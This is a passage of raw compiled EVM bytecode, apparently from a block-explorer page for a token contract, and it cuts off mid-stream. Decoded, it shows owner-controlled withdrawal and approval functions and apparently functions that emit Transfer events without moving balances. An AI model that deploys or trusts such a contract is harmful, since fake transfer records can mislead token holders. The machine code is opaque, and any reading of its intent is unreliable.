0e79565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561038c578181015183820152602001610374565b50505050905090810190601f1680156103b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d357600080fd5b50610400600480360360408110156103ea57600080fd5b506001600160a01b038135169060200135610f04565b604080519115158252519081900360200190f35b34801561042057600080fd5b50610429610fe4565b60408051918252519081900360200190f35b34801561044757600080fd5b506104006004803603606081101561045e57600080fd5b506001600160a01b0381358116916020810135909116906040013561105a565b34801561048a57600080fd5b50610400600480360360608110156104a157600080fd5b506001600160a01b03813581169160208101359091169060400135611827565b3480156104cd57600080fd5b50610400600480360360408110156104e457600080fd5b810190602081018135600160201b8111156104fe57600080fd5b82018360208201111561051057600080fd5b803590602001918460018302840111600160201b8311171561053157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611899915050565b34801561058057600080fd5b506102c76004803603606081101561059757600080fd5b506001600160a01b0381358116916020810135909116906040013561197c565b3480156105c357600080fd5b506102c7600480360360208110156105da57600080fd5b50356119ea565b3480156105ed57600080fd5b506105f6611a06565b6040805160ff9092168252519081900360200190f35b34801561061857600080fd5b506102c7600480360361012081101561063057600080fd5b810190602081018135600160201b81111561064a57600080fd5b82018360208201111561065c57600080fd5b803590602001918460018302840111600160201b8311171561067d57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156106cf57600080fd5b8201836020820111156106e157600080fd5b803590602001918460018302840111600160201b8311171561070257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505060ff833516935050506020810135906001600160a01b0360408201358116916060810135821691608082013581169160a081013582169160c09091013516611a0f565b34801561078857600080fd5b506104006004803603604081101561079f57600080fd5b810190602081018135600160201b8111156107b957600080fd5b8201836020820111156107cb57600080fd5b803590602001918460018302840111600160201b831117156107ec57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611d5f915050565b34801561083b57600080fd5b506104296004803603602081101561085257600080fd5b5035611eee565b34801561086557600080fd5b50610400612113565b34801561087a57600080fd5b506102c76004803603602081101561089157600080fd5b50356001600160a01b0316612123565b3480156108ad57600080fd5b506102c761215c565b3480156108c257600080fd5b506108f1600480360360408110156108d957600080fd5b506001600160a01b03813581169160200135166121c6565b60405180836001600160a01b03168152602001826001600160a01b031681526020019250505060405180910390f35b34801561092c57600080fd5b506104296004803603604081101561094357600080fd5b506001600160a01b03813581169160200135166122a4565b34801561096757600080fd5b506102c76004803603604081101561097e57600080fd5b508035906020013515156122c1565b34801561099957600080fd5b506102c7612345565b3480156109ae57600080fd5b50610429600480360360208110156109c557600080fd5b50356001600160a01b03166123a6565b3480156109e157600080fd5b50610400612429565b3480156109f657600080fd5b50610400612439565b348015610a0b57600080fd5b50610321612447565b348015610a2057600080fd5b5061042960048036036020811015610a3757600080fd5b50356001600160a01b0316612456565b348015610a5357600080fd5b506103216124a7565b348015610a6857600080fd5b506103216124b6565b348015610a7d57600080fd5b5061040060048036036020811015610a9457600080fd5b50356001600160a01b03166124c5565b348015610ab057600080fd5b506103526124da565b348015610ac557600080fd5b506102c760048036036020811015610adc57600080fd5b5035612535565b348015610aef57600080fd5b506102c760048036036020811015610b0657600080fd5b5035612596565b348015610b1957600080fd5b5061040060048036036040811015610b3057600080fd5b506001600160a01b0381351690602001356125e3565b348015610b5257600080fd5b506102c760048036036020811015610b6957600080fd5b50356001600160a01b0316612d5f565b348015610b8557600080fd5b506102c760048036036040811015610b9c57600080fd5b506001600160a01b0381358116916020013516612dab565b348015610bc057600080fd5b5061040060048036036080811015610bd757600080fd5b508035906001600160a01b036020820135811691604081013582169160609091013516612e2a565b348015610c0b57600080fd5b50610400612edf565b348015610c2057600080fd5b5061042960048036036040811015610c3757600080fd5b506001600160a01b0381358116916020013516612ee8565b348015610c5b57600080fd5b5061032160048036036060811015610c7257600080fd5b506001600160a01b038135811691602081013582169160409091013516612f29565b348015610ca057600080fd5b5061040060048036036040811015610cb757600080fd5b5060ff81351690602001351515612fe9565b348015610cd557600080fd5b506102c760048036036020811015610cec57600080fd5b50356001600160a01b03166130cd565b348015610d0857600080fd5b506102c760048036036040811015610d1f57600080fd5b506001600160a01b038135169060200135613152565b348015610d4157600080fd5b506102c760048036036020811015610d5857600080fd5b50356131a4565b348015610d6b57600080fd5b506103216131c0565b348015610d8057600080fd5b506103216131cf565b6001546001600160a01b03163314610da057600080fd5b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6001546001600160a01b03163314610de257600080fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d6020811015610e6357600080fd5b5050505050565b6001546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f81018490048402820184019092528181529291830182828015610efc5780601f10610ed157610100808354040283529160200191610efc565b820191906000526020600020905b815481529060010190602001808311610edf57829003601f168201915b505050505081565b60006001600160a01b038316610f1957600080fd5b336000818152600c602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600a546040805163052f221360e11b815233600482015290516001600160a01b0390921691630a5e44269160248082019260009290919082900301818387803b158015610fc357600080fd5b505af1158015610fd7573d6000803e3d6000fd5b5060019695505050505050565b600a5460408051636c9c2faf60e01b815290516000926001600160a01b031691636c9c2faf916004808301926020929190829003018186803b15801561102957600080fd5b505afa15801561103d573d6000803e3d6000fd5b505050506040513d602081101561105357600080fd5b5051905090565b600a54604080516370a0823160e01b81526001600160a01b038681166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156110ab57600080fd5b505afa1580156110bf573d6000803e3d6000fd5b505050506040513d60208110156110d557600080fd5b50518211156110e357600080fd5b6001600160a01b0384166000908152600c6020908152604080832033845290915290205482111561111357600080fd5b6011546301000000900460ff1615156001141561118c57336000908152600e602052604090205460ff1615156001148061116a57506001600160a01b0383166000908152600e602052604090205460ff1615156001145b1561117e576011805460ff1916905561118c565b6011805460ff191660011790555b60115460ff16151560011415611557576001600160a01b0384163314156111b257611557565b600d546001600160a01b038481169116148015906111de57506006546001600160a01b03848116911614155b15611557576000670de0b6b3a7640000600f54816111f857fe5b0460020283106112085750601482045b670de0b6b3a7640000600f548161121b57fe5b04600a02831061122b5750600a82045b670de0b6b3a7640000600f548161123e57fe5b0460640283106112545761125183611eee565b90505b600b54604080516370a0823160e01b81523060048201529051670de0b6b3a76400008402926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156112a857600080fd5b505afa1580156112bc573d6000803e3d6000fd5b505050506040513d60208110156112d257600080fd5b50511061137057600b54604080516323b872dd60e01b81523060048201526001600160a01b038781166024830152670de0b6b3a764000085026044830152915191909216916323b872dd9160648083019260209291908290030181600087803b15801561133e57600080fd5b505af1158015611352573d6000803e3d6000fd5b505050506040513d602081101561136857600080fd5b506115559050565b6009546001600160a01b03166000908152600e602052604090205460ff16151560011461140657600b546040805163140e25ad60e31b8152670de0b6b3a76400008602600482015290516001600160a01b039092169163a0712d689160248082019260009290919082900301818387803b1580156113ed57600080fd5b505af1158015611401573d6000803e3d6000fd5b505050505b6009546001600160a01b03166000908152600e602052604090205460ff161515600114156114c357600b54600954604080516323b872dd60e01b81526001600160a01b039283166004820152306024820152670de0b6b3a764000087026044820152905191909216916323b872dd9160648083019260209291908290030181600087803b15801561149657600080fd5b505af11580156114aa573d6000803e3d6000fd5b505050506040513d60208110156114c057600080fd5b50505b600b54604080516323b872dd60e01b81523060048201526001600160a01b038781166024830152670de0b6b3a764000085026044830152915191909216916323b872dd9160648083019260209291908290030181600087803b15801561152857600080fd5b505af115801561153c573d6000803e3d6000fd5b505050506040513d602081101561155257600080fd5b50505b505b601154600160201b900460ff161515600114156115d357336000908152600e602052604090205460ff161515600114806115ae57506001600160a01b0383166000908152600e602052604090205460ff1615156001145b156115c3576011805461ff00191690556115d3565b6011805461ff0019166101001790555b60115460ff610100909104161515600114801561164857506000546001600160a01b03858116911614158061161657506000546001600160a01b03848116911614155b8061162f57506001546001600160a01b03858116911614155b8061164857506001546001600160a01b03848116911614155b15611703576001600160a01b03841633141561166357611703565b6001600160a01b0383161580159061168957506006546001600160a01b03848116911614155b1561170357600061169983611eee565b600a5460408051639d50fb2d60e01b81526004810184905290519293506001600160a01b0390911691639d50fb2d9160248082019260009290919082900301818387803b1580156116e957600080fd5b505af11580156116fd573d6000803e3d6000fd5b50505050505b600a546040805163d96ca0b960e01b81526001600160a01b0387811660048301528681166024830152604482018690529151919092169163d96ca0b991606480830192600092919082900301818387803b15801561176057600080fd5b505af1158015611774573d6000803e3d6000fd5b5050600a546040805163282c97a160e01b81526001600160a01b038981166004830152888116602483015260448201889052915191909216935063282c97a19250606480830192600092919082900301818387803b1580156117d557600080fd5b505af11580156117e9573d6000803e3d6000fd5b50506040805185815290516001600160a01b038088169450881692506000805160206132d98339815191529181900360200190a35060019392505050565b6008546000906001600160a01b031633148061184d57506001546001600160a01b031633145b61185657600080fd5b826001600160a01b0316846001600160a01b03166000805160206132d9833981519152846040518082815260200191505060405180910390a35060019392505050565b6008546000906001600160a01b03163314806118bf57506001546001600160a01b031633145b6118c857600080fd5b600a546040805163260fcaa760e01b815260248101859052600481019182528551604482015285516001600160a01b039093169263260fcaa79287928792829160640190602086019080838360005b8381101561192f578181015183820152602001611917565b50505050905090810190601f16801561195c5780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b158015610fc357600080fd5b6001546001600160a01b0316331461199357600080fd5b816001600160a01b031663095ea7b384836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610e3957600080fd5b6001546001600160a01b03163314611a0157600080fd5b601055565b60045460ff1681565b600154600160a81b900460ff1680611a2a5750611a2a6131de565b80611a3f5750600154600160a01b900460ff16155b611a7a5760405162461bcd60e51b815260040180806020018281038252602e8152602001806132ab602e913960400191505060405180910390fd5b600154600160a81b900460ff16158015611ab1576001805460ff60a01b1960ff60a81b19909116600160a81b1716600160a01b1790555b600080546001600160a01b038089166001600160a01b03199283161790925560018054928516929091169190911790558951611af49060029060208d01906131e4565b508851611b089060039060208c01906131e4565b506004805460ff191660ff8a161781556005889055600780546001600160a01b0319166001600160a01b0388811691909117918290556040805163c45a015560e01b81529051600094939092169263c45a0155928282019260209290829003018186803b158015611b7857600080fd5b505afa158015611b8c573d6000803e3d6000fd5b505050506040513d6020811015611ba257600080fd5b5051600754604080516315ab88c960e31b815290519293506000926001600160a01b039092169163ad5c464891600480820192602092909190829003018186803b158015611bef57600080fd5b505afa158015611c03573d6000803e3d6000fd5b505050506040513d6020811015611c1957600080fd5b50519050611c28828230612f29565b600680546001600160a01b03199081166001600160a01b03938416179182905560088054909116898416179055600a546005546000805460408051631eefb7f760e01b815260048101949094523060248501529086166044840152938516606483015292519190931692631eefb7f792608480830193919282900301818387803b158015611cb557600080fd5b505af1158015611cc9573d6000803e3d6000fd5b50506000805460055460408051918252516001600160a01b0390921694509192506000805160206132d98339815191529181900360200190a35050600980546001600160a01b0319166001600160a01b038581169190911791829055166000908152600e60205260409020805460ff191660011790558015611d53576001805460ff60a81b191690555b50505050505050505050565b6008546000906001600160a01b0316331480611d8557506001546001600160a01b031633145b611d8e57600080fd5b600a5460408051634b96b63760e01b815290516000926001600160a01b031691634b96b637916004808301926020929190829003018186803b158015611dd357600080fd5b505afa158015611de7573d6000803e3d6000fd5b505050506040513d6020811015611dfd57600080fd5b5051600a546040805163f7c70ac360e01b8152905192935060009283926001600160a01b03169163f7c70ac3916004808301926020929190829003018186803b158015611e4957600080fd5b505afa158015611e5d573d6000803e3d6000fd5b505050506040513d6020811015611e7357600080fd5b505190506000805b868163ffffffff161015611ee057600160601b8460208a010151049150816001600160a01b0316836001600160a01b03166000805160206132d9833981519152876040518082815260200191505060405180910390a360149390930192600101611e7b565b506001979650505050505050565b600080670de0b6b3a7640000600f5481611f0457fe5b04600a028310611f12575060145b670de0b6b3a7640000600f5481611f2557fe5b046014028310611f33575060285b670de0b6b3a7640000600f5481611f4657fe5b04601e028310611f545750603c5b670de0b6b3a7640000600f5481611f6757fe5b046028028310611f75575060505b670de0b6b3a7640000600f5481611f8857fe5b046032028310611f96575060645b670de0b6b3a7640000600f5481611fa957fe5b04603c028310611fb7575060785b670de0b6b3a7640000600f5481611fca57fe5b046046028310611fd85750608c5b670de0b6b3a7640000600f5481611feb57fe5b046050028310611ff9575060a05b670de0b6b3a7640000600f548161200c57fe5b04605a02831061201a575060b45b670de0b6b3a7640000600f548161202d57fe5b04606402831061203b575060c85b670de0b6b3a7640000600f548161204e57fe5b0460c802831061205d57506101905b670de0b6b3a7640000600f548161207057fe5b0461012c02831061208057506102585b670de0b6b3a7640000600f548161209357fe5b046101900283106120a357506103205b670de0b6b3a7640000600f54816120b657fe5b046101f40283106120c657506103e85b670de0b6b3a7640000600f54816120d957fe5b046102580283106120e957506104b05b60115462010000900460ff1615156001141561210d57601054811061210d57506010545b92915050565b601154600160201b900460ff1690565b6001546001600160a01b0316331461213a57600080fd5b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b600a60009054906101000a90046001600160a01b03166001600160a01b0316634e71d92d6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156121ac57600080fd5b505af11580156121c0573d6000803e3d6000fd5b50505050565b600080826001600160a01b0316846001600160a01b0316141561221a5760405162461bcd60e51b81526004018080602001828103825260258152602001806132866025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b03161061223a57828461223d565b83835b90925090506001600160a01b03821661229d576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b600c60209081526000928352604080842090915290825290205481565b6001546001600160a01b031633146122d857600080fd5b816001141561230a576011805460ff191682151560011490811763ff0000001916630100000091909102179055612341565b8160021415612341576011805461ff0019166101008315156001149081029190911764ff000000001916600160201b919091021790555b5050565b6000546001600160a01b0316331461235c57600080fd5b600080546040516001600160a01b03909116907fb91e5e5588ef972137c14d2d88a5001c28bc0ef9ddb2cd12344976bce6fbe499908390a3600080546001600160a01b0319169055565b600a54604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156123f757600080fd5b505afa15801561240b573d6000803e3d6000fd5b505050506040513d602081101561242157600080fd5b505192915050565b6011546301000000900460ff1690565b601154610100900460ff1690565b600d546001600160a01b031681565b600a5460408051630873d6db60e41b81526001600160a01b0384811660048301529151600093929092169163873d6db091602480820192602092909190829003018186803b1580156123f757600080fd5b600b546001600160a01b031681565b6000546001600160a01b031681565b600e6020526000908152604090205460ff1681565b6003805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610efc5780601f10610ed157610100808354040283529160200191610efc565b600a5460408051639d50fb2d60e01b81526004810184905290516001600160a01b0390921691639d50fb2d9160248082019260009290919082900301818387803b15801561258257600080fd5b505af1158015610e63573d6000803e3d6000fd5b600a546040805163140e25ad60e31b81526004810184905290516001600160a01b039092169163a0712d689160248082019260009290919082900301818387803b15801561258257600080fd5b600a54604080516370a0823160e01b8152336004820152905160009284926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561263357600080fd5b505afa158015612647573d6000803e3d6000fd5b505050506040513d602081101561265d57600080fd5b5051101561266a57600080fd5b6011546301000000900460ff161515600114156126e357336000908152600e602052604090205460ff161515600114806126c157506001600160a01b0383166000908152600e602052604090205460ff1615156001145b156126d5576011805460ff191690556126e3565b6011805460ff191660011790555b60115460ff16151560011415612a9c576001600160a01b03831633141561270957612a9c565b6001600160a01b0383161580159061272f57506006546001600160a01b03848116911614155b15612a9c576000670de0b6b3a7640000600f548161274957fe5b0460020283106127595750601482045b670de0b6b3a7640000600f548161276c57fe5b04600a02831061277c5750600a82045b670de0b6b3a7640000600f548161278f57fe5b0460640283106127a5576127a283611eee565b90505b600b54604080516370a0823160e01b81523060048201529051670de0b6b3a76400008402926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156127f957600080fd5b505afa15801561280d573d6000803e3d6000fd5b505050506040513d602081101561282357600080fd5b5051106128bb57600b546040805163a9059cbb60e01b81526001600160a01b038781166004830152670de0b6b3a7640000850260248301529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561288957600080fd5b505af115801561289d573d6000803e3d6000fd5b505050506040513d60208110156128b357600080fd5b50612a9a9050565b6009546001600160a01b03166000908152600e602052604090205460ff16151560011461295157600b546040805163140e25ad60e31b8152670de0b6b3a76400008602600482015290516001600160a01b039092169163a0712d689160248082019260009290919082900301818387803b15801561293857600080fd5b505af115801561294c573d6000803e3d6000fd5b505050505b6009546001600160a01b03166000908152600e602052604090205460ff16151560011415612a0e57600b54600954604080516323b872dd60e01b81526001600160a01b039283166004820152306024820152670de0b6b3a764000087026044820152905191909216916323b872dd9160648083019260209291908290030181600087803b1580156129e157600080fd5b505af11580156129f5573d6000803e3d6000fd5b505050506040513d6020811015612a0b57600080fd5b50505b600b546040805163a9059cbb60e01b81526001600160a01b038781166004830152670de0b6b3a7640000850260248301529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015612a6d57600080fd5b505af1158015612a81573d6000803e3d6000fd5b505050506040513d6020811015612a9757600080fd5b50505b505b601154600160201b900460ff16151560011415612b1857336000908152600e602052604090205460ff16151560011480612af357506001600160a01b0383166000908152600e602052604090205460ff1615156001145b15612b08576011805461ff0019169055612b18565b6011805461ff0019166101001790555b60115460ff6101009091041615156001148015612b8757506000546001600160a01b031633141580612b5857506000546001600160a01b03848116911614155b80612b6e57506001546001600160a01b03163314155b80612b8757506001546001600160a01b03848116911614155b15612c42576001600160a01b038316331415612ba257612c42565b6001600160a01b03831615801590612bc857506006546001600160a01b03848116911614155b15612c42576000612bd883611eee565b600a5460408051639d50fb2d60e01b81526004810184905290519293506001600160a01b0390911691639d50fb2d9160248082019260009290919082900301818387803b158015612c2857600080fd5b505af1158015612c3c573d6000803e3d6000fd5b50505050505b600a5460408051633790767d60e01b81523360048201526001600160a01b0386811660248301526044820186905291519190921691633790767d91606480830192600092919082900301818387803b158015612c9d57600080fd5b505af1158015612cb1573d6000803e3d6000fd5b5050600a546040805163282c97a160e01b81523360048201526001600160a01b03888116602483015260448201889052915191909216935063282c97a19250606480830192600092919082900301818387803b158015612d1057600080fd5b505af1158015612d24573d6000803e3d6000fd5b50506040805185815290516001600160a01b03871693503392506000805160206132d98339815191529181900360200190a350600192915050565b6000546001600160a01b03163314612d7657600080fd5b6001600160a01b038116612d8957600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b03163314612dc257600080fd5b6040805163f2fde38b60e01b81526001600160a01b0383811660048301529151849283169163f2fde38b91602480830192600092919082900301818387803b158015612e0d57600080fd5b505af1158015612e21573d6000803e3d6000fd5b50505050505050565b600080546001600160a01b0316331480612e4e57506001546001600160a01b031633145b612e5757600080fd5b600a5460408051631eefb7f760e01b8152600481018890526001600160a01b0387811660248301528681166044830152858116606483015291519190921691631eefb7f791608480830192600092919082900301818387803b158015612ebc57600080fd5b505af1158015612ed0573d6000803e3d6000fd5b50600198975050505050505050565b60115460ff1690565b60006001600160a01b038216612efd57600080fd5b506001600160a01b039182166000908152600c6020908152604080832093909416825291909152205490565b6000806000612f3885856121c6565b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b6001546000906001600160a01b0316331461300357600080fd5b8260ff1660011415613025576011805460ff19166001841515141790556130c4565b8260ff166002141561304c576011805463ff000000191683156301000000021790556130c4565b8260ff1660031415613073576011805461ff001916831515600114610100021790556130c4565b8260ff166004141561309f576011805464ff000000001916831515600114600160201b021790556130c4565b8260ff16600514156130c4576011805462ff0000191683151560011462010000021790555b50600192915050565b6000546001600160a01b031633146130e457600080fd5b6001600160a01b0381166130f757600080fd5b600080546040516001600160a01b03808516939216917fb91e5e5588ef972137c14d2d88a5001c28bc0ef9ddb2cd12344976bce6fbe49991a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b0316331461316957600080fd5b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561319f573d6000803e3d6000fd5b505050565b6001546001600160a01b031633146131bb57600080fd5b600f55565b6007546001600160a01b031681565b6006546001600160a01b031681565b303b1590565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261321a5760008555613260565b82601f1061323357805160ff1916838001178555613260565b82800160010185558215613260579182015b82811115613260578251825591602001919060010190613245565b5061326c929150613270565b5090565b5b8082111561326c576000815560010161327156fe556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122082939872d14b4b15f45e0840254a51a6f8ecf10f4546010e5869700ec9d02ba364736f6c63430007060033

Deployed Bytecode

0x6080604052600436106102805760003560e01c806376b32b411161014f578063ad236478116100c1578063e28afb231161007a578063e28afb2314610c94578063f2fde38b14610cc9578063f3fef3a314610cfc578063f5ae89f214610d35578063f887ea4014610d5f578063ffb0a4a014610d7457610287565b8063ad23647814610b46578063b52265ad14610b79578063cb992b0914610bb4578063d816a95014610bff578063dd62ed3e14610c14578063e0d7c95514610c4f57610287565b80638da5cb5b116101135780638da5cb5b14610a5c57806392a88fa214610a7157806395d89b4114610aa45780639d50fb2d14610ab9578063a0712d6814610ae3578063a9059cbb14610b0d57610287565b806376b32b41146109d557806379ec0a25146109ea57806382b25807146109ff578063873d6db014610a145780638c38939014610a4757610287565b8063313ce567116101f35780634e71d92d116101ac5780634e71d92d146108a1578063544caa56146108b65780635c658165146109205780635fc294b71461095b5780636f4570d41461098d57806370a08231146109a257610287565b8063313ce567146105e157806333ce72171461060c5780633c5cd6f71461077c5780634073c15d1461082f5780634664d5c5146108595780634a2068601461086e57610287565b806318160ddd1161024557806318160ddd1461041457806323b872dd1461043b57806323de66511461047e578063260fcaa7146104c157806329996da6146105745780632ed403ec146105b757610287565b8062f7db0c1461028c57806301e33667146102c957806302d05d3f1461030c57806306fdde031461033d578063095ea7b3146103c757610287565b3661028757005b600080fd5b34801561029857600080fd5b506102c7600480360360408110156102af57600080fd5b506001600160a01b0381351690602001351515610d89565b005b3480156102d557600080fd5b506102c7600480360360608110156102ec57600080fd5b506001600160a01b03813581169160208101359091169060400135610dcb565b34801561031857600080fd5b50610321610e6a565b604080516001600160a01b039092168252519081900360200190f35b34801561034957600080fd5b50610352610e79565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561038c578181015183820152602001610374565b50505050905090810190601f1680156103b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d357600080fd5b50610400600480360360408110156103ea57600080fd5b506001600160a01b038135169060200135610f04565b604080519115158252519081900360200190f35b34801561042057600080fd5b50610429610fe4565b60408051918252519081900360200190f35b34801561044757600080fd5b506104006004803603606081101561045e57600080fd5b506001600160a01b0381358116916020810135909116906040013561105a565b34801561048a57600080fd5b50610400600480360360608110156104a157600080fd5b506001600160a01b03813581169160208101359091169060400135611827565b3480156104cd57600080fd5b50610400600480360360408110156104e457600080fd5b810190602081018135600160201b8111156104fe57600080fd5b82018360208201111561051057600080fd5b803590602001918460018302840111600160201b8311171561053157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611899915050565b34801561058057600080fd5b506102c76004803603606081101561059757600080fd5b506001600160a01b0381358116916020810135909116906040013561197c565b3480156105c357600080fd5b506102c7600480360360208110156105da57600080fd5b50356119ea565b3480156105ed57600080fd5b506105f6611a06565b6040805160ff9092168252519081900360200190f35b34801561061857600080fd5b506102c7600480360361012081101561063057600080fd5b810190602081018135600160201b81111561064a57600080fd5b82018360208201111561065c57600080fd5b803590602001918460018302840111600160201b8311171561067d57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156106cf57600080fd5b8201836020820111156106e157600080fd5b803590602001918460018302840111600160201b8311171561070257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505060ff833516935050506020810135906001600160a01b0360408201358116916060810135821691608082013581169160a081013582169160c09091013516611a0f565b34801561078857600080fd5b506104006004803603604081101561079f57600080fd5b810190602081018135600160201b8111156107b957600080fd5b8201836020820111156107cb57600080fd5b803590602001918460018302840111600160201b831117156107ec57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611d5f915050565b34801561083b57600080fd5b506104296004803603602081101561085257600080fd5b5035611eee565b34801561086557600080fd5b50610400612113565b34801561087a57600080fd5b506102c76004803603602081101561089157600080fd5b50356001600160a01b0316612123565b3480156108ad57600080fd5b506102c761215c565b3480156108c257600080fd5b506108f1600480360360408110156108d957600080fd5b506001600160a01b03813581169160200135166121c6565b60405180836001600160a01b03168152602001826001600160a01b031681526020019250505060405180910390f35b34801561092c57600080fd5b506104296004803603604081101561094357600080fd5b506001600160a01b03813581169160200135166122a4565b34801561096757600080fd5b506102c76004803603604081101561097e57600080fd5b508035906020013515156122c1565b34801561099957600080fd5b506102c7612345565b3480156109ae57600080fd5b50610429600480360360208110156109c557600080fd5b50356001600160a01b03166123a6565b3480156109e157600080fd5b50610400612429565b3480156109f657600080fd5b50610400612439565b348015610a0b57600080fd5b50610321612447565b348015610a2057600080fd5b5061042960048036036020811015610a3757600080fd5b50356001600160a01b0316612456565b348015610a5357600080fd5b506103216124a7565b348015610a6857600080fd5b506103216124b6565b348015610a7d57600080fd5b5061040060048036036020811015610a9457600080fd5b50356001600160a01b03166124c5565b348015610ab057600080fd5b506103526124da565b348015610ac557600080fd5b506102c760048036036020811015610adc57600080fd5b5035612535565b348015610aef57600080fd5b506102c760048036036020811015610b0657600080fd5b5035612596565b348015610b1957600080fd5b5061040060048036036040811015610b3057600080fd5b506001600160a01b0381351690602001356125e3565b348015610b5257600080fd5b506102c760048036036020811015610b6957600080fd5b50356001600160a01b0316612d5f565b348015610b8557600080fd5b506102c760048036036040811015610b9c57600080fd5b506001600160a01b0381358116916020013516612dab565b348015610bc057600080fd5b5061040060048036036080811015610bd757600080fd5b508035906001600160a01b036020820135811691604081013582169160609091013516612e2a565b348015610c0b57600080fd5b50610400612edf565b348015610c2057600080fd5b5061042960048036036040811015610c3757600080fd5b506001600160a01b0381358116916020013516612ee8565b348015610c5b57600080fd5b5061032160048036036060811015610c7257600080fd5b506001600160a01b038135811691602081013582169160409091013516612f29565b348015610ca057600080fd5b5061040060048036036040811015610cb757600080fd5b5060ff81351690602001351515612fe9565b348015610cd557600080fd5b506102c760048036036020811015610cec57600080fd5b50356001600160a01b03166130cd565b348015610d0857600080fd5b506102c760048036036040811015610d1f57600080fd5b506001600160a01b038135169060200135613152565b348015610d4157600080fd5b506102c760048036036020811015610d5857600080fd5b50356131a4565b348015610d6b57600080fd5b506103216131c0565b348015610d8057600080fd5b506103216131cf565b6001546001600160a01b03163314610da057600080fd5b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6001546001600160a01b03163314610de257600080fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d6020811015610e6357600080fd5b5050505050565b6001546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f81018490048402820184019092528181529291830182828015610efc5780601f10610ed157610100808354040283529160200191610efc565b820191906000526020600020905b815481529060010190602001808311610edf57829003601f168201915b505050505081565b60006001600160a01b038316610f1957600080fd5b336000818152600c602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600a546040805163052f221360e11b815233600482015290516001600160a01b0390921691630a5e44269160248082019260009290919082900301818387803b158015610fc357600080fd5b505af1158015610fd7573d6000803e3d6000fd5b5060019695505050505050565b600a5460408051636c9c2faf60e01b815290516000926001600160a01b031691636c9c2faf916004808301926020929190829003018186803b15801561102957600080fd5b505afa15801561103d573d6000803e3d6000fd5b505050506040513d602081101561105357600080fd5b5051905090565b600a54604080516370a0823160e01b81526001600160a01b038681166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156110ab57600080fd5b505afa1580156110bf573d6000803e3d6000fd5b505050506040513d60208110156110d557600080fd5b50518211156110e357600080fd5b6001600160a01b0384166000908152600c6020908152604080832033845290915290205482111561111357600080fd5b6011546301000000900460ff1615156001141561118c57336000908152600e602052604090205460ff1615156001148061116a57506001600160a01b0383166000908152600e602052604090205460ff1615156001145b1561117e576011805460ff1916905561118c565b6011805460ff191660011790555b60115460ff16151560011415611557576001600160a01b0384163314156111b257611557565b600d546001600160a01b038481169116148015906111de57506006546001600160a01b03848116911614155b15611557576000670de0b6b3a7640000600f54816111f857fe5b0460020283106112085750601482045b670de0b6b3a7640000600f548161121b57fe5b04600a02831061122b5750600a82045b670de0b6b3a7640000600f548161123e57fe5b0460640283106112545761125183611eee565b90505b600b54604080516370a0823160e01b81523060048201529051670de0b6b3a76400008402926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156112a857600080fd5b505afa1580156112bc573d6000803e3d6000fd5b505050506040513d60208110156112d257